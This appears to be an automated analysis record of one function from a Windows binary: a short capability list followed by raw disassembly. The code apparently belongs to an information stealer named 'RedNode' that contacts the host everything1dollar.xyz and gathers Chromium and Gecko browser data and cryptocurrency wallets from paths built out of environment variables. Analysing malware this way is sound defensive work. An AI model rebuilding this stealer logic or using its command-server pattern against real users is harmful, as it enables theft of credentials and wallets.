Function at 0x140008870
Capabilities:
Check mutex on windows
Query environment variable
Reference http user-agent string

Disassembly:
sub rsp, 0x198
call fcn.140001000
lea r8, str.RedNode
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1400088a7
xor eax, eax
add rsp, 0x198
ret
mov qword [rsp + 0x190], rbx
xor ebx, ebx
mov qword [rsp + 0x180], rsi
nop dword [rax]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea r9, [rsp + 0x1a0]
mov qword [rsp + 0x20], rbx
mov rcx, rax
lea rdx, str.____Connecting_...__n
mov r8d, 0x14
call qword [sym.imp.KERNEL32.dll_WriteConsoleW]
mov rax, qword [0x14000d008]
lea rcx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_118.0.0.0_Safari_537.36
xor r9d, r9d
mov dword [rsp + 0x20], ebx
xor r8d, r8d
lea edx, [r9 + 1]
call rax
mov rcx, rax
test rax, rax
jne 0x140008947
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea r9, [rsp + 0x1a8]
mov qword [rsp + 0x20], rbx
mov rcx, rax
lea rdx, str.pInternetOpenW_Faild_n
mov r8d, 0x15
call qword [sym.imp.KERNEL32.dll_WriteConsoleW]
jmp 0x1400088c0
mov rax, qword [0x14000d480]
lea rdx, str.everything1dollar.xyz
mov qword [rsp + 0x38], rbx
mov r8d, 0x50
mov dword [rsp + 0x30], ebx
xor r9d, r9d
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], rbx
call rax
mov ecx, 0xfffffff5
test rax, rax
jne 0x1400089b5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea r9, [rsp + 0x1b0]
mov qword [rsp + 0x20], rbx
mov rcx, rax
lea rdx, str.pInternetConnectW_Faild_n
mov r8d, 0x18
call qword [sym.imp.KERNEL32.dll_WriteConsoleW]
mov qword [0x14000d018], rbx
jmp 0x1400088c0
mov qword [rsp + 0x188], rbp
mov qword [rsp + 0x178], rdi
mov qword [rsp + 0x170], r14
mov qword [rsp + 0x168], r15
mov qword [0x14000d018], rax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea r9, [rsp + 0x1a0]
mov qword [rsp + 0x20], rbx
mov rcx, rax
lea rdx, str.____1__n
mov r8d, 7
call qword [sym.imp.KERNEL32.dll_WriteConsoleW]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r9, qword [0x14000d488]
mov edx, 8
mov rcx, rax
mov r8d, 0x104
mov rsi, rax
call r9
mov r9, qword [0x14000d428]
lea r8, [rsp + 0x1b0]
lea rdx, str.SoftwareRedNode
mov qword [0x14000d438], rax
mov rcx, 0xffffffff80000001
call r9
test eax, eax
je 0x140008dc5
mov rcx, qword [rsp + 0x1b0]
call qword [0x14000d490]
call fcn.1400025f0
test eax, eax
je 0x140008e94
call fcn.140006660
mov rdi, rax
test rax, rax
je 0x140008ea6
cmp qword [rax + 8], 2
lea r15, [0x14000bd00]
lea rbp, str.env_paths
jne 0x140008b91
mov rcx, qword [rax]
mov rbx, qword [rcx]
test rbx, rbx
je 0x140008b91
lea r14, str.chromium
mov rdx, qword [rbx]
mov rcx, r14
mov rdx, qword [rdx]
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x140008ad1
mov rax, qword [rbx]
mov rax, qword [rax + 8]
cmp byte [r14 + rax], 0
je 0x140008adf
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140008ab0
jmp 0x140008b91
mov rax, qword [rbx + 8]
cmp rax, r15
je 0x140008b91
cmp qword [rax + 8], 2
jne 0x140008b91
mov rax, qword [rax]
mov rbx, qword [rax]
test rbx, rbx
je 0x140008b91
nop word [rax + rax]
mov rdx, qword [rbx]
mov rcx, rbp
mov rdx, qword [rdx]
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x140008b30
mov rax, qword [rbx]
mov rax, qword [rax + 8]
cmp byte [rax + rbp], 0
je 0x140008b3b
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140008b10
jmp 0x140008b91
mov rax, qword [rbx + 8]
cmp rax, r15
je 0x140008b91
cmp qword [rax + 8], 3
jne 0x140008b91
mov rax, qword [rax]
mov rbx, qword [rax]
test rbx, rbx
je 0x140008b91
mov rax, qword [rbx]
cmp qword [rax + 8], 0
jne 0x140008b88
mov rax, qword [rax]
lea rdx, [rsp + 0x50]
mov r8d, 0x104
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x140008b88
lea rdx, [rsp + 0x50]
mov rcx, rdi
call fcn.1400062d0
mov rbx, qword [rbx + 8]
test rbx, rbx
jne 0x140008b56
cmp qword [rdi + 8], 2
jne 0x140008ca3
mov rax, qword [rdi]
mov rbx, qword [rax]
test rbx, rbx
je 0x140008cac
lea r14, str.gecko
nop dword [rax]
nop word [rax + rax]
mov rdx, qword [rbx]
mov rcx, r14
mov rdx, qword [rdx]
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x140008be1
mov rax, qword [rbx]
mov rax, qword [rax + 8]
cmp byte [r14 + rax], 0
je 0x140008bef
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140008bc0
jmp 0x140008cac
mov rax, qword [rbx + 8]
cmp rax, r15
je 0x140008cac
cmp qword [rax + 8], 2
jne 0x140008cac
mov rax, qword [rax]
mov rbx, qword [rax]
test rbx, rbx
je 0x140008cac
nop word [rax + rax]
mov rdx, qword [rbx]
mov rcx, rbp
mov rdx, qword [rdx]
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x140008c40
mov rax, qword [rbx]
mov rax, qword [rax + 8]
cmp byte [rax + rbp], 0
je 0x140008c4b
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140008c20
jmp 0x140008cac
mov rax, qword [rbx + 8]
cmp rax, r15
je 0x140008cac
cmp qword [rax + 8], 3
jne 0x140008cac
mov rax, qword [rax]
mov rbx, qword [rax]
test rbx, rbx
je 0x140008cac
mov rax, qword [rbx]
cmp qword [rax + 8], 0
jne 0x140008c98
mov rax, qword [rax]
lea rdx, [rsp + 0x50]
mov r8d, 0x104
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x140008c98
lea rdx, [rsp + 0x50]
mov rcx, rdi
call fcn.1400076e0
mov rbx, qword [rbx + 8]
test rbx, rbx
jne 0x140008c66
jmp 0x140008cac
test rdi, rdi
je 0x140008ea6
cmp qword [rdi + 8], 2
jne 0x140008ea6
mov rax, qword [rdi]
mov rbx, qword [rax]
test rbx, rbx
je 0x140008ea6
lea r14, str.wallets
nop dword [rax]
mov rdx, qword [rbx]
mov rcx, r14
mov rdx, qword [rdx]
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x140008cf1
mov rax, qword [rbx]
mov rax, qword [rax + 8]
cmp byte [r14 + rax], 0
je 0x140008cff
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140008cd0
jmp 0x140008ea6
mov rax, qword [rbx + 8]
cmp rax, r15
je 0x140008ea6
cmp qword [rax + 8], 2
jne 0x140008ea6
mov rax, qword [rax]
mov rbx, qword [rax]
test rbx, rbx
je 0x140008ea6
nop word [rax + rax]
mov rdx, qword [rbx]
mov rcx, rbp
mov rdx, qword [rdx]
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x140008d50
mov rax, qword [rbx]
mov rax, qword [rax + 8]
cmp byte [rax + rbp], 0
je 0x140008d5e
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140008d30
jmp 0x140008ea6
mov rax, qword [rbx + 8]
cmp rax, r15
je 0x140008ea6
cmp qword [rax + 8], 3
jne 0x140008ea6
mov rax, qword [rax]
mov rbx, qword [rax]
test rbx, rbx
je 0x140008ea6
mov rax, qword [rbx]
cmp qword [rax + 8], 0
jne 0x140008db7
mov rax, qword [rax]
lea rdx, [rsp + 0x50]
mov r8d, 0x104
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x140008db7
lea rdx, [rsp + 0x50]
mov rcx, rdi
call fcn.140008450
mov rbx, qword [rbx + 8]
test rbx, rbx
jne 0x140008d85
jmp 0x140008ea6
mov rax, qword [0x14000d428]
lea r8, [rsp + 0x40]
lea rdx, str.SoftwareRedNode
mov rcx, 0xffffffff80000001
call rax
test eax, eax
je 0x140008e07
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea r9, [rsp + 0x1b0]
mov r8d, 0x17
lea rdx, str.Faild_to_Open_the_key__n
jmp 0x140008e7b
mov r10, qword [0x14000d440]
lea rax, [rsp + 0x1a0]
mov rcx, qword [rsp + 0x40]
lea r9, [rsp + 0x1a8]
mov qword [rsp + 0x28], rax
lea rdx, [0x14000b6c0]
mov rax, qword [0x14000d438]
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x1a8], 1
mov dword [rsp + 0x1a0], 0x104
call r10
test eax, eax
je 0x140008e9b
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea r9, [rsp + 0x1b8]
mov r8d, 0x1c
lea rdx, str.Faild_to_Query_key_value____n
mov rcx, rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteConsoleW]
mov rcx, qword [rsp + 0x40]
call qword [0x14000d490]
mov eax, 1
jmp 0x140008ebf
mov rcx, qword [rsp + 0x40]
call qword [0x14000d490]
call fcn.140008f00
mov r8, qword [0x14000d438]
xor edx, edx
mov rcx, rsi
call qword [0x14000d458]
xor eax, eax
mov r14, qword [rsp + 0x170]
mov rdi, qword [rsp + 0x178]
mov rbp, qword [rsp + 0x188]
mov r15, qword [rsp + 0x168]
mov rbx, qword [rsp + 0x190]
mov rsi, qword [rsp + 0x180]
add rsp, 0x198
ret